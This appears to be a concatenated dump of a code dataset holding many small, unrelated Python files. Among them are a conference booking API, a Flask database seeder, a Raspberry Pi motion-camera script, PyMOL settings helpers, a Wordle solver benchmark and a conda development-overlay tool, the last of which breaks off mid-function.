 def _cacheAnnouncement ():\n        \"\"\" Create Announcement & assign to memcache; used by\n            memcache cron job & putAnnouncement().\n        \"\"\"\n        confs = Conference.query(ndb.AND(\n            Conference.seatsAvailable <= 5,\n            Conference.seatsAvailable > 0)\n        ).fetch(projection=[Conference.name])\n\n        if confs:\n            \"\"\" If there are almost sold out conferences,\n                format announcement and set it in memcache \"\"\"\n            announcement = ANNOUNCEMENT_TPL % (\n                ', '.join(conf.name for conf in confs))\n            memcache.set(MEMCACHE_ANNOUNCEMENTS_KEY, announcement)\n        else:\n            \"\"\" If there are no sold out conferences,\n                delete the memcache announcements entry \"\"\"\n            announcement = \"\"\n            memcache.delete(MEMCACHE_ANNOUNCEMENTS_KEY)\n\n        return announcement\n\n    @staticmethod\n    def _setFeaturedSpeaker(self, request):\n        \"\"\"\n            For the purposes of this project, there will be only one Featured\n            Speaker for each conference. The Featured Speaker will be the\n            speaker who has the MOST speaking sessions at this conference.\n\n            This was a conscious design decision to define Featured Speaker\n            more \"robustly\" than the project requirements. I chose to do this\n            in order to learn how to create and return more sophisticated\n            Message objects (in this case, one that contained a string and\n            a list that had to be built up).\n        \"\"\"\n\n        # Create a key based on the c_key parameter passed in.\n        c_key = ndb.Key(urlsafe=request.get('c_key'))\n\n        # Limit the projection to minimize data transfer - only need 2 fields.\n        qo = ndb.QueryOptions(projection=['speakerKey', 'sessionName'])\n\n        # Construct the query - all Sessions for the specified Conference\n        q = Session.query(ancestor=c_key)\n\n        # Perform the query\n        results = q.fetch(options=qo)\n\n        # Set up a few variables to hold the processed results\n\n        \"\"\" speakerSummary will contain a list of Speaker keys. If a Speaker\n            is speaking at more than one Session, their key will appear\n            in the list once for every Session they are speaking at. This\n            fact will be used to count their \"appearances\" later. \"\"\"\n        speakerSummary = []\n\n        \"\"\" sessions will contain a list of tuples that each contain the key\n            for the Speakera and the name of the Session they are speaking\n            at. This list will be used later to extract the session names\n            for whichever Speaker is determined to be the Featured Speaker.\"\"\"\n        sessions = []\n        featuredMessage = {}\n\n        # the 'key' element will hold the websafe key for the Speaker object\n        featuredMessage['key'] = \"\"\n\n        \"\"\" The 'sessionName' list will contain a list of the Session names\n            that this Speaker is speaking at \"\"\"\n        featuredMessage['sessionName'] = []\n\n        \"\"\" To determine the Featured Speaker, an intermediate data object is\n            needed as there is no query-based way to do a summarized count\n            by Speaker. With traditional SQL, one could use a group-by\n            constraint combined with a count() method in the query to retrieve\n            these same results very easily. Datastore's \"GQL\" language does\n            not support this type of query, so it has to be derived\n            programatically. The overall approach is to retrieve all Sessions\n            for a particular Conference then iterate over the results and\n            build up an interim data structure that has a single \"row\" for\n            each Speaker that contains their websafe key and a count of how\n            many Sessions they are speaking at. From there, the Speaker\n            with the highest count can be easily extracted and the Memcache\n            entry defined accordingly. \"\"\"\n\n        # Iterate over results and build a set of lists for later processing\n        for row in results:\n            # Update the two lists if there is a Speaker associated\n            if row.speakerKey is not None:\n                speakerSummary.append(row.speakerKey)\n                sessions.append(row)\n\n        \"\"\" The Counter class takes the speakerSummary list and creates a tuple\n            for each Speaker. The tuple consists of the Speaker's key as the\n              first element and the count of how many times that key appeared\n              in the speakerSummary list as the 2nd data element. \"\"\"\n        summary = Counter(speakerSummary)\n\n        \"\"\" this method is a utility method that returns the count which will\n            be the 2nd element of the tuple. The Counter class is responsible\n             for creating these tuples. \"\"\"\n        def get_count(tuple):\n            return tuple[1]\n\n        \"\"\" This creates the summary list object by taking the summary object\n            that Counter created above and sorting it in reverse order (so\n            the Speaker with the MOST entries will be 1st in the list). A\n            key/value pair is created where the key is the count and the\n            value is the Speaker key associated with that count. \"\"\"\n        sortedSummary = sorted(summary.items(), key=get_count, reverse=True)\n\n        \"\"\" Make sure there are ANY Speakers for the Conference. If so, grab\n            the first one and make them the Featured Speaker. \"\"\"\n        if sortedSummary:\n            featuredSpeakerKey = sortedSummary[0][0]\n        else:\n            featuredSpeakerKey = None\n\n        \"\"\" If a Featured Speaker was found, build up a Memcache entry that\n            contains the Speaker's key and a list of Session names for the\n            Sessions they are speaking at. \"\"\"\n        if featuredSpeakerKey:\n            featuredMessage['key'] = featuredSpeakerKey\n            for session in sessions:\n                if session.speakerKey == featuredSpeakerKey:\n                    featuredMessage['sessionName'].append(session.sessionName)\n\n            \"\"\" The Memcache key consists of the string constant and the\n                websafe key for the Conference this relates to. The value\n                of the entry is the featuredMessage object that is built up\n                in the code block directly above. \"\"\"\n            memcache.set(MEMCACHE_SPEAKER_KEY + c_key.urlsafe(),\n                         featuredMessage)\n\n        # If there was no featured Speaker, clear out any Memcache entry.\n        else:\n            # No featured speakers in the system, so clear the MemCache\n            memcache.delete(MEMCACHE_SPEAKER_KEY + c_key.urlsafe())\n        return\n\n    @endpoints.method(\n        message_types.VoidMessage, StringMessage,\n        path='conference/announcement/get', http_method='GET',\n        name='getAnnouncement')\n    def getAnnouncement (self, request):\n            \"\"\" Return any current Announcement from Memcache. If there is\n                no Announcement present, return an empty string. \"\"\"\n            return StringMessage(data=memcache.get(\n                MEMCACHE_ANNOUNCEMENTS_KEY) or \"\")\n\n    # - - - Registration - - - - - - - - - - - - - - - - - - - -\n\n    @ndb.transactional(xg=True)\n    def _conferenceRegistration (self, request, reg=True):\n        \"\"\" Register or unregister user for selected Conference. Will throw\n            an exception if the specified Conference does not exist. Will\n            also throw an exception if the user is trying to register for a\n            Conferene they have already registered for or if the Conference\n            has no remaining seats available. Will also throw an exception if\n            trying to unregister from a Conference that the user is not\n            presently registered for. \"\"\"\n        retval = None\n\n        # get the Profile from the logged-in user\n        prof = self._getProfileFromUser()\n\n        \"\"\" check if conf exists with provided websafeConfKey and throw\n            an exception if the conference is not in Datastore \"\"\"\n        wsck = request.websafeConferenceKey\n        conf = ndb.Key(urlsafe=wsck).get()\n        if not conf:\n            raise endpoints.NotFoundException(\n                'No conference found with key: %s' % wsck)\n\n        # start the registration if that's what this request is for\n        if reg:\n            # check if user already registered otherwise add\n            if wsck in prof.conferenceKeysToAttend:\n                raise ConflictException(\n                    \"You have already registered for this conference\")\n\n            # check if seats avail and raise exception if none left\n            if conf.seatsAvailable <= 0:\n                raise ConflictException(\n                    \"There are no seats available.\")\n\n            # register user, take away one seat\n            prof.conferenceKeysToAttend.append(wsck)\n            conf.seatsAvailable -= 1\n            retval = True\n\n        else:  # not a register request, so must be unregister.\n            # First confirm user already registered\n            if wsck in prof.conferenceKeysToAttend:\n\n                # unregister user, add back one seat\n                prof.conferenceKeysToAttend.remove(wsck)\n                conf.seatsAvailable += 1\n                retval = True\n            else:\n                retval = False\n\n        # write things back to the datastore & return\n        prof.put()\n        conf.put()\n        return BooleanMessage(data=retval)\n\n    @endpoints.method(message_types.VoidMessage, ConferenceForms,\n                      path='conferences/attending',\n                      http_method='GET', name='getConferencesToAttend')\n    def getConferencesToAttend (self, request):\n        \"\"\" Return list of Conferences the current user is registered for. \"\"\"\n\n        \"\"\" First, get user's profile and then use that to build a query for\n            all descendant conferences (which represent the conferences the\n            user has registered for) \"\"\"\n        prof = self._getProfileFromUser()\n        conf_keys = [ndb.Key(urlsafe=wsck)\n                     for wsck in prof.conferenceKeysToAttend]\n        conferences = ndb.get_multi(conf_keys)\n\n        # get organizers of the above conferences\n        organisers = [ndb.Key(Profile, conf.organizerUserId)\n                      for conf in conferences]\n        profiles = ndb.get_multi(organisers)\n\n        # put display names in a dict for easier fetching\n        names = {}\n        for profile in profiles:\n            names[profile.key.id()] = profile.displayName\n\n        # return set of ConferenceForm objects per Conference\n        return ConferenceForms(items=[self._copyConferenceToForm(\n            conf, names[conf.organizerUserId])\n                                      for conf in conferences])\n\n    @endpoints.method(CONF_GET_REQUEST, BooleanMessage,\n                      path='conference/{websafeConferenceKey}',\n                      http_method='POST', name='registerForConference')\n    def registerForConference (self, request):\n        \"\"\" Register the current user for the Conference specified in the\n            websafeConferenceKey parameter assuming there are still seats\n            available for that Conference and the user isn't already registered\n            for that Conference (both will throw exceptions). \"\"\"\n        return self._conferenceRegistration(request)\n\n    @endpoints.method(CONF_GET_REQUEST, BooleanMessage,\n                      path='conference/{websafeConferenceKey}',\n                      http_method='DELETE', name='unregisterFromConference')\n    def unregisterFromConference (self, request):\n        \"\"\" Unregisters the current user from the Conference specified in the\n            websafeConferenceKey parameter assuming they are presently\n            registered for that Conference (throws exception if the user is\n            not presently registered for that Conference). \"\"\"\n        return self._conferenceRegistration(request, reg=False)\n\n    @endpoints.method(message_types.VoidMessage, ConferenceForms,\n                      path='filterPlayground',\n                      http_method='GET', name='filterPlayground')\n    def filterPlayground (self, request):\n        \"\"\" Filter Playground - a section used for testing various filters\n            to validate the result set obtained \"\"\"\n        q = Conference.query()\n        # field = \"city\"\n        # operator = \"=\"\n        # value = \"London\"\n        # f = ndb.query.FilterNode(field, operator, value)\n        # q = q.filter(f)\n        q = q.filter(Conference.city == \"London\")\n        q = q.filter(Conference.topics == \"Medical Innovations\")\n        q = q.filter(Conference.month == 6)\n\n        return ConferenceForms(\n            items=[self._copyConferenceToForm(conf, \"\") for conf in q]\n        )\n\n# register API\napi = endpoints.api_server([ConferenceApi])\n","repo_name":"codingvirtual/fullstack-p4-conference","sub_path":"conference.py","file_name":"conference.py","file_ext":"py","file_size_in_byte":52093,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"3882896742","text":"from main import db\nfrom main import bcrypt\nfrom flask import Blueprint\n\nfrom models.analyser import Analyser\nfrom models.analysts import Analyst\nfrom models.tests import Test\nfrom models.requests import Request\nfrom models.requests_tests import Request_test\n\n\ndb_commands = Blueprint(\"db\", __name__)\n\n\n@db_commands.cli.command(\"create\")\ndef create_db():\n    db.create_all()\n    print(\"Tables created\")\n\n\n@db_commands.cli.command(\"drop\")\ndef drop_db():\n    db.drop_all()\n    print(\"Tables dropped\")\n\n\n@db_commands.cli.command(\"seed\")\ndef seed_db():\n    analyser1 = Analyser(\n        name = \"ICP1\",\n        brand = \"Thermo\",\n        model = \"2000\",\n        year = \"2012\",\n    )\n    db.session.add(analyser1)\n\n    analyser2 = Analyser(\n        name = \"ICP2\",\n        brand = \"Thermo\",\n        model = \"3000\",\n        year = \"2013\"\n    )\n    db.session.add(analyser2)\n    \n    admin_user = Analyst(\n        email = \"admin@email.com\",\n        password = bcrypt.generate_password_hash(\"password123\").decode(\"utf-8\"),\n        admin = True\n    )\n    db.session.add(admin_user)\n\n    analyst1 = Analyst(\n        email = \"analyst1@email.com\",\n        password = bcrypt.generate_password_hash(\"123456\").decode(\"utf-8\"),\n    )\n    db.session.add(analyst1)\n\n    test1 = Test(\n        name = \"zinc\"\n    )\n    db.session.add(test1)\n\n    test2 = Test(\n        name = \"copper\"\n    )\n    db.session.add(test2)\n\n    test3 = Test(\n        name = \"lead\"\n    )\n    db.session.add(test3)\n\n    test4 = Test(\n        name = \"mercury\"\n    )\n    db.session.add(test4)\n\n    db.session.commit()\n\n    request1 = Request(\n        date = \"12/10/2020\",\n        status = \"processing\",\n        analyst_email = analyst1.email,\n        analyser_name = analyser1.name\n\n    )\n    db.session.add(request1)\n\n    request2 = Request(\n        date = \"12/11/2020\",\n        status = \"finalized\",\n        analyst_email = admin_user.email,\n        analyser_name = analyser2.name\n    )\n    db.session.add(request2)\n\n\n    request_test1 = Request_test(\n        request_id = request1.id,\n        test_name = test1.name\n    )\n    db.session.add(request_test1)\n\n    request_test2 = Request_test(\n        request_id = request1.id,\n        test_name = test2.name\n    )\n    db.session.add(request_test2)\n\n    request_test3 = Request_test(\n        request_id = request1.id,\n        test_name = test3.name\n    )\n    db.session.add(request_test3)\n\n    request_test4 = Request_test(\n        request_id = request2.id,\n        test_name = test4.name\n    )\n    db.session.add(request_test4)\n\n\n    db.session.commit()\n    print(\"Table seeded\")\n","repo_name":"AndresBo/Laboratory-API","sub_path":"commands.py","file_name":"commands.py","file_ext":"py","file_size_in_byte":2579,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"70208038089","text":"string = input('Введите строку: ')\nletter_set = set()\nalone_list = list()\nletter_list = list()\n\nfor i in list(string):\n    if list(string).count(i) > 1:\n        letter_set.add(i)\n        letter_list = sorted(list(letter_set))\n    else:\n        alone_list.append(i)\nfrst_part = ''.join(letter_list)\nletter_list.extend(alone_list)\nscnd_part = ''.join(reversed(letter_list))\nresult = frst_part + scnd_part\n\nif result == ''.join(reversed(result)):\n    print('Можно сделать палидромом')\nelse:\n    print('Нельзя сделать полидромом')","repo_name":"hummius/Python_basic","sub_path":"Module19/10_palindrome_again/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":584,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"70815765448","text":"\"\"\"empty message\n\nRevision ID: 3ae005e36d6c\nRevises: aa0524bf1470\nCreate Date: 2023-06-22 20:07:08.962928\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '3ae005e36d6c'\ndown_revision = 'aa0524bf1470'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.add_column('Transactions', sa.Column('price', sa.DECIMAL(precision=32, scale=17), nullable=True))\n    # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_column('Transactions', 'price')\n    # ### end Alembic commands ###\n","repo_name":"Stanislav-3/propheter-ds","sub_path":"models/migrations/versions/3ae005e36d6c_.py","file_name":"3ae005e36d6c_.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"42948481014","text":"import threading\nimport RPi.GPIO as GPIO\nimport time\nimport json\nfrom take_picture import take_picture\nfrom urllib import request\nimport requests\n\n\ntry:\n    # setup motion sensore\n    GPIO.setmode(GPIO.BCM)\n\n    # get some params from the API\n    try:\n        with request.urlopen(\"http://www.scrutoscope.live/api/settings\") as url:\n            data = json.loads(url.read().decode())\n    except:\n        print('error')\n\n    Trig = 23\n    Echo = 24\n    previous = 0\n    callApi = 0\n    amountPicture = data[0]['amountCapture']\n\n    GPIO.setup(Trig, GPIO.OUT)\n    GPIO.setup(Echo, GPIO.IN)\n    GPIO.output(Trig, False)\n\n    # main code loop\n    while True:\n        # if there is no call to the API we call the API (every 20 loop it calls the API)\n        if callApi == 0:\n            try:\n                with request.urlopen(\"http://www.scrutoscope.live/api/settings/camera/1\") as url:\n                    data = json.loads(url.read().decode())\n            except:\n                print('error')\n                exit()\n\n            minimumDistance = json.loads((data[0]['params']))['distance']\n            width = json.loads((data[0]['params']))['width']\n            height = json.loads((data[0]['params']))['height']\n            pictureType = data[0]['type']['type']\n            callApi = 20\n        else:\n            callApi = callApi - 1\n\n        GPIO.output(Trig, True)\n        time.sleep(0.00001)\n        GPIO.output(Trig, False)\n\n        while GPIO.input(Echo) == 0:  # send ultrasound\n            startImpulse = time.time()\n\n        while GPIO.input(Echo) == 1:  # return of the echo\n            endImpulse = time.time()\n\n        distance = int(round((endImpulse - startImpulse) * 340 * 100 / 2, 1))  # calculate distance (cm)\n\n        # if the new distance is less than the previous or if the new distance is less than 2 meters it takes a picture\n        if distance <= minimumDistance and previous <= minimumDistance:\n            # take amount of picture defined by the API\n            threads = [threading.Thread(target=take_picture(width, height, pictureType)) for _ in range(amountPicture)]\n            [thread.start() for thread in threads]\n            [thread.join() for thread in threads]\n\n            # send the fact that we take some pictures for statistics\n            url = 'http://www.scrutoscope.live/api/Statistics/post'\n            data = {\"amount\": amountPicture, \"type\": pictureType}\n            req = requests.post(url, json=data)\n\n        previous = distance\nfinally:\n    GPIO.cleanup()\n","repo_name":"iot-itakademy/raspberry-hard","sub_path":"security.py","file_name":"security.py","file_ext":"py","file_size_in_byte":2513,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"3644086518","text":"'''\n(c) 2011 Thomas Holder, MPI for Developmental Biology\n\nLicense: BSD-2-Clause\n'''\n\nfrom pymol import cmd\n\n\ndef save_settings(filename='~/.pymolrc-settings.py', quiet=1, *, _self=cmd):\n    '''\nDESCRIPTION\n\n    Dumps all settings with non-default values to ~/.pymolrc-settings.py\n\n    Feature Request: Save settings for later use - ID: 1009951\n    https://sourceforge.net/tracker/?func=detail&aid=1009951&group_id=4546&atid=354546\n    '''\n    from pymol.setting import get_name_list\n    quiet = int(quiet)\n    if not filename.endswith('.py'):\n        print('Warning: filename should end with \".py\"')\n    # temporatily load default settings and remember them\n    _self.reinitialize('store_defaults')\n    _self.reinitialize('original_settings')\n    original = [(name, _self.get(name)) for name in get_name_list()]\n    _self.reinitialize('settings')\n    # dump to file\n    filename = cmd.exp_path(filename)\n    f = open(filename, 'w')\n    f.write('# AUTOGENERATED FILE\\n')\n    f.write('from pymol import cmd, invocation\\n')\n    f.write('if invocation.options.show_splash: ')  # no newline\n    f.write('    print(\"Loading settings from \" + ' + repr(filename) + ')\\n')\n    count = 0\n    for name, o_value in original:\n        value = _self.get(name)\n        if value != o_value:\n            f.write('cmd.set(\"%s\", %s)\\n' % (name, repr(value)))\n            if not quiet:\n                print('set %s, %s # default: %s' % (name, value, o_value))\n            count += 1\n    f.close()\n    if not quiet:\n        print('Dumped %d settings to %s' % (count, filename))\n\n\ndef paper_settings(fancy=0, quiet=0, *, _self=cmd):\n    '''\nDESCRIPTION\n\n    Set rendering quality high and some stuff good for printing:\n\n     * Side chain helper (cartoon_side_chain_helper = 1)\n     * No shadows (ray_shadows = 0)\n\nARGUMENTS\n\n    fancy = 0 or 1: set cartoon_fancy_helices and cartoon_highlight_color\n    {default: 0}\n\nNOTES\n\n    You may also try \"set ray_trace_mode, 1\"\n    '''\n    fancy, quiet = int(fancy), int(quiet)\n    if fancy == 1:\n        _self.set('cartoon_fancy_helices', 1, quiet=quiet)\n        _self.set('cartoon_highlight_color', 'grey50', quiet=quiet)\n    _self.set('cartoon_side_chain_helper', 1, quiet=quiet)\n    _self.set('ray_shadows', 0, quiet=quiet)\n    _self.set('opaque_background', 0, quiet=quiet)\n    _self.bg_color('white')\n\n\nclass set_temporary(object):\n    '''\nDESCRIPTION\n\n    API only. Supports the following pattern:\n\n    >>> with set_temporary(pdb_retain_ids=1):\n    ...    cmd.save('out.pdb')\n    '''\n\n    def __init__(self, *args, _self=cmd, **kwargs):\n        self._self = _self\n        self.sele = kwargs.pop('selection', '')\n        self.args = args + tuple(kwargs.items())\n\n    def __enter__(self):\n        self.saved = []\n        for k, v in self.args:\n            v_saved = self._self.get(k, self.sele)\n            if v != v_saved:\n                self.saved.append((k, v_saved))\n                self._self.set(k, v, self.sele)\n        return self\n\n    def __exit__(self, type, value, traceback):\n        for k, v in self.saved:\n            self._self.set(k, v, self.sele)\n\n\ncmd.extend('save_settings', save_settings)\ncmd.extend('paper_settings', paper_settings)\n\n# vi:expandtab:smarttab\n","repo_name":"speleo3/pymol-psico","sub_path":"psico/setting.py","file_name":"setting.py","file_ext":"py","file_size_in_byte":3205,"program_lang":"python","lang":"en","doc_type":"code","stars":48,"dataset":"github-code","pt":"16"}
+{"seq_id":"11065524823","text":"# -*- coding: utf-8 -*-\n\nfrom odoo import models, api\nfrom odoo.exceptions import UserError\n\n\nclass TaskStage(models.Model):\n    _inherit = 'project.task'\n\n    def write(self, values):\n        if values.get('stage_id'):\n            v_c_user = self.env['res.users'].search([('project_user_type', 'in', ['vendor', 'customer'])])\n            if self.env.uid in [val.id for val in v_c_user]:\n                a = 0\n            else:\n                if self.env.uid == self.manager_id.id:\n                    a = 0\n                else:\n                    if self.env.uid == self.user_id.id:\n                        a = 0\n                    else:\n                        if self.user_has_groups('project.group_project_manager'):\n                            a = 0\n                        else:\n                            if self.user_has_groups('project.group_project_manager'):\n                                a = 0\n                            else:\n                                raise UserError('You have not permission to change task stage!')\n        return super(TaskStage, self).write(values)\n","repo_name":"sagarpise/datn","sub_path":"project_permission/models/project_task.py","file_name":"project_task.py","file_ext":"py","file_size_in_byte":1096,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"21148946879","text":"\"\"\"\nReceives an index of the recipes and a list of (preprocessed) text files.\nWrites the recipes that match each of the data sets to a separate file.\n\"\"\"\nimport sys\nimport random\nrandom.seed(7)\n\n\nf = open(sys.argv[1])\nL = []\nfor line in f:\n    fields = line.strip().split()\n    L.append((fields[1], int(fields[0])))\nf.close()\n\nL = random.sample(L,len(L))\ntot_recipes = 0\ntrain_files = []\ntest_files = []\ndev_files = []\n\nfor filename,recipes in L:\n    tot_recipes += recipes\n    if tot_recipes < 60000:\n        train_files.append((filename,recipes))\n    elif tot_recipes < 67500:\n        test_files.append((filename,recipes))\n    else:\n        dev_files.append((filename,recipes))\n   \n\nprint(' '.join([x[0] for x in train_files])+'\\n')\nprint(sum([x[1] for x in train_files]))\nprint(' '.join([x[0] for x in test_files])+'\\n')\nprint(sum([x[1] for x in test_files]))\nprint(' '.join([x[0] for x in dev_files])+'\\n')\nprint(sum([x[1] for x in dev_files]))\n\n\n\"\"\"\ndef non_empty(L):\n    \"returns True if L contains a non-empty string\"\n    for x in L:\n        if x != '':\n            return True\n    return False\n\nif len(sys.argv) != 3:\n    print('Usage: grep_orig_text.py <index file> ' + \\\n              '<preprocessed recipe files :-delimited>')\n    sys.exit(-1)\n\nf = open(sys.argv[1])\nindex = {}\nfor line in f:\n    fields = line.strip().split()\n    index[(fields[0].split('.')[0],int(fields[1]))] = fields[2]\nf.close()\n\nfilenames = sys.argv[2].split(':')\nfor filename in filenames:\n    recipe_index = 0\n    cur_recipe = []\n    f = open(filename)\n    f_outs = {}\n    f_outs['train'] = open(filename+'.train','w')\n    f_outs['test'] = open(filename+'.test','w')\n    f_outs['dev'] = open(filename+'.dev','w')\n    for line in f:\n        line = line.strip()\n        if 'END_RECIPE' in line:\n            if non_empty(cur_recipe):\n                f_outs[index[(filename.split('.')[0],recipe_index)]].write('\\n'.join(cur_recipe)+'\\n')\n                cur_recipe = []\n                recipe_index += 1\n        else:\n           cur_recipe.append(line)\n    f.close()\n    for f_out in f_outs.values():\n        f_out.close()\n\n\n            \n\n    \n\"\"\"\n","repo_name":"zoharai/Lexical-Event-Ordering-with-an-Edge-Factored-Model---improved","sub_path":"grep_orig_text.py","file_name":"grep_orig_text.py","file_ext":"py","file_size_in_byte":2130,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"4986627850","text":"from typing import Optional\nimport zlib\nimport logging\nlogger = logging.getLogger(__name__)\n\nfrom production.solver_interface import ProblemType, Solver, SolverResult, Fail, Pass\nfrom production.cpp_emulator.emulator import Matrix\nfrom production import db\n\n_conn = None\ndef get_shared_conn():\n    global _conn\n    if _conn is None:\n        _conn = db.get_conn()\n    return _conn\n\nclass Combiner(Solver):\n    def __init__(self, args):\n        [self.epoch] = args\n\n    def scent(self) -> str:\n        return 'Combiner ' + self.epoch\n\n    def supports(self, problem_type: ProblemType) -> bool:\n        return problem_type == ProblemType.Reassemble\n\n    def solve(\n            self, name: str,\n            src_model: Optional[bytes],\n            tgt_model: Optional[bytes]) -> SolverResult:\n        conn = get_shared_conn()\n        cur = conn.cursor()\n\n        assert name.startswith('FR')\n\n        traces = {}\n        energies = {}\n        for part in ['ZD', 'ZA']:\n            cur.execute('''\n                SELECT\n                    traces.data, energy\n                FROM problems\n                JOIN traces\n                ON traces.problem_id = problems.id\n                WHERE problems.name = %s AND traces.status = 'DONE'\n                ORDER BY traces.energy\n                LIMIT 1\n            ''', [name.replace('FR', part)])\n            rows = cur.fetchall()\n            if not rows:\n                return SolverResult(Pass())\n            [[trace, energy]] = rows\n            traces[part] = zlib.decompress(trace)\n            energies[part] = energy\n\n        R = Matrix.parse(src_model).R\n        assert traces['ZD'][-1] == 255\n        return SolverResult(\n            traces['ZD'][:-1] + traces['ZA'],\n            dict(expected_energy=energies['ZD'] - 3 * R**3 - 20 + energies['ZA']))\n","repo_name":"Vlad-Shcherbina/icfpc2018-tbd","sub_path":"production/combiner.py","file_name":"combiner.py","file_ext":"py","file_size_in_byte":1802,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"19087158812","text":"import machine\n\nfrom .base import BaseApp\n\n\nclass App(BaseApp):\n    _dac = None\n\n    async def init(self):\n        port = int(self._config.get('port'))\n\n        self._dac = machine.DAC(\n            machine.Pin(port, mode=machine.Pin.OUT)\n        )\n\n    async def process(self, payload: dict, subtopics: list):\n        value = payload.get('value')\n        if value is not None:\n            value = int(max(0., min(1., float(value))) * 190)\n            self._dac.write(value)\n            print(\"DAC: Value {} was written.\".format(value))\n","repo_name":"thejoeejoee/fis-esp-firmware","sub_path":"fis/apps/dac.py","file_name":"dac.py","file_ext":"py","file_size_in_byte":536,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"16"}
+{"seq_id":"16655487581","text":"from wordle import Wordle\nfrom wordle_solver import WordleSolver\n\nfrom nltk.corpus import words\nfrom random import randint\n\nif __name__ == \"__main__\":\n\n    all_words = words.words()\n    all_words = list(filter(lambda x:len(x) == 5, all_words))\n\n    TOTAL_PLAYS = 1000\n    num_wins = 0\n    for i in range(TOTAL_PLAYS):\n\n        rand_idx = randint(0, len(all_words) - 1)\n        word = all_words[rand_idx]\n\n        game = WordleSolver(word)\n\n        while not game.wordle.game_over:\n            guess = game.random_prediction()\n        \n        if game.wordle.win:\n            num_wins += 1\n\n        print(i)\n    \n    accuracy = (num_wins / TOTAL_PLAYS) * 100\n    print(accuracy)\n        \n\n\n","repo_name":"chenalan02/WordleSolver","sub_path":"get_metrics.py","file_name":"get_metrics.py","file_ext":"py","file_size_in_byte":689,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"27111974885","text":"from rest_framework import serializers, viewsets, status, response\nfrom rest_framework.decorators import list_route, parser_classes\nfrom rest_framework.parsers import MultiPartParser, FormParser\n\nfrom visualiser import models, data\n\n\nclass ImageSerializer(serializers.ModelSerializer):\n    labels = serializers.SerializerMethodField()\n    text = serializers.SerializerMethodField()\n\n    class Meta:\n        model = models.Image\n        fields = ('id', 'url', 'last_modified', 'labels', 'text')\n\n    def get_labels(self, obj):\n        labels = obj.get_labels()\n        labels = [{'description': label.description, 'score': label.score,\n                   'mid': label.mid, 'topicality': label.topicality} for\n                  label in labels]\n        return sorted(labels, key=lambda x: x.get('score', 0), reverse=True)\n\n    def get_text(self, obj):\n        texts = obj.get_text()\n        texts = [ind_text for text in texts for ind_text in\n                 text.text.split('\\n') if ind_text]\n        return texts\n\n\nclass ImageView(viewsets.ViewSet):\n\n    def queryset(self):\n        return models.Image.objects.all()\n\n    def get_serializer_class(self):\n        if self.action in ['list', 'retrieve']:\n            return ImageSerializer\n\n    @list_route(methods=['post'])\n    @parser_classes((FormParser, MultiPartParser,))\n    def upload(self, request):\n        upload = request.FILES.get('file')\n        image_url = request.data.get('image_url')\n        if upload:\n            image_data = data.create_update_image(upload)\n        elif image_url:\n            image_data = data.create_update_image(image_url=image_url)\n        else:\n            image_data = []\n        return response.Response(image_data, status=status.HTTP_200_OK)\n\n    def retrieve(self, request, pk=None):\n        instance = models.Image.objects.get(pk=pk)\n        serializer = ImageSerializer(instance)\n        return response.Response(serializer.data)\n\n    def list(self, request):\n        queryset = models.Image.objects.order_by('-last_modified')\n        serializer = ImageSerializer(queryset, many=True)\n        return response.Response(serializer.data)\n","repo_name":"tasnim07/image_visualiser","sub_path":"visualiser/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":2131,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"73667811207","text":"#!/usr/bin/env python\n\"\"\"\nCreate a conda-pip 'copip' development overlay.\n\nUsage:\n  mkcopip env_name\n\"\"\"\n\n# Stdlib imports\n\nimport os\nimport sys\nimport typing as T\n\nfrom pathlib import Path\nfrom subprocess import check_output as sh\n\n# Config global constants\nCONDA_BASE = Path(sh(['conda', 'info', '--base']).decode().strip())/'envs'\nCOPIP_DIR  = Path(__file__).parent\nCOPIP_ON   = Path('copipon.sh')\nCOPIP_OFF  = Path('copipoff.sh')\n\n\n# Function definitions\ndef main(args: T.Optional[list]=None) -> int:\n    if args is None:\n        args = sys.argv[1:]\n\n    try:\n        ename = args[0]\n    except IndexError:\n        print(__doc__, file=sys.stderr)\n        return 64\n\n    # Create directories for holding installed files and env. config\n    copip_dir = CONDA_BASE/ename/'copip'\n    acti_dir  = CONDA_BASE/ename/'etc/conda/activate.d'\n    deac_dir  = CONDA_BASE/ename/'etc/conda/deactivate.d'\n\n    if not (CONDA_BASE/ename).is_dir():\n        print(f\"Environment {ename} doesn't exist, exiting.\", file=sys.stderr)\n        return 64\n\n    for d in [copip_dir, acti_dir, deac_dir]:\n        d.mkdir(parents=True, exist_ok=True)\n\n    # Symlink env. config scripts inside conda activ/deact directories\n    for script, cdir in [(COPIP_ON, acti_dir), (COPIP_OFF, deac_dir)]:\n        dest = cdir/script\n        if not dest.is_file():\n            os.link(COPIP_DIR/script, dest)\n\n    print(f\"Environment dev overlay `{ename}` ready at `{copip_dir}`\")\n\n    return 0\n\n\n# Unit tests\ndef test_no_args():\n    assert main([]) == 64\n\n\ndef test_noenv():\n    assert main(['__BADENV_NAME_zyxw__']) == 64\n\n\ndef test_normal():\n    import functools\n    import subprocess\n\n    sh = functools.partial(subprocess.run, shell=True, check=True)\n\n    ename = '__tmp_copip_env__'\n    copip  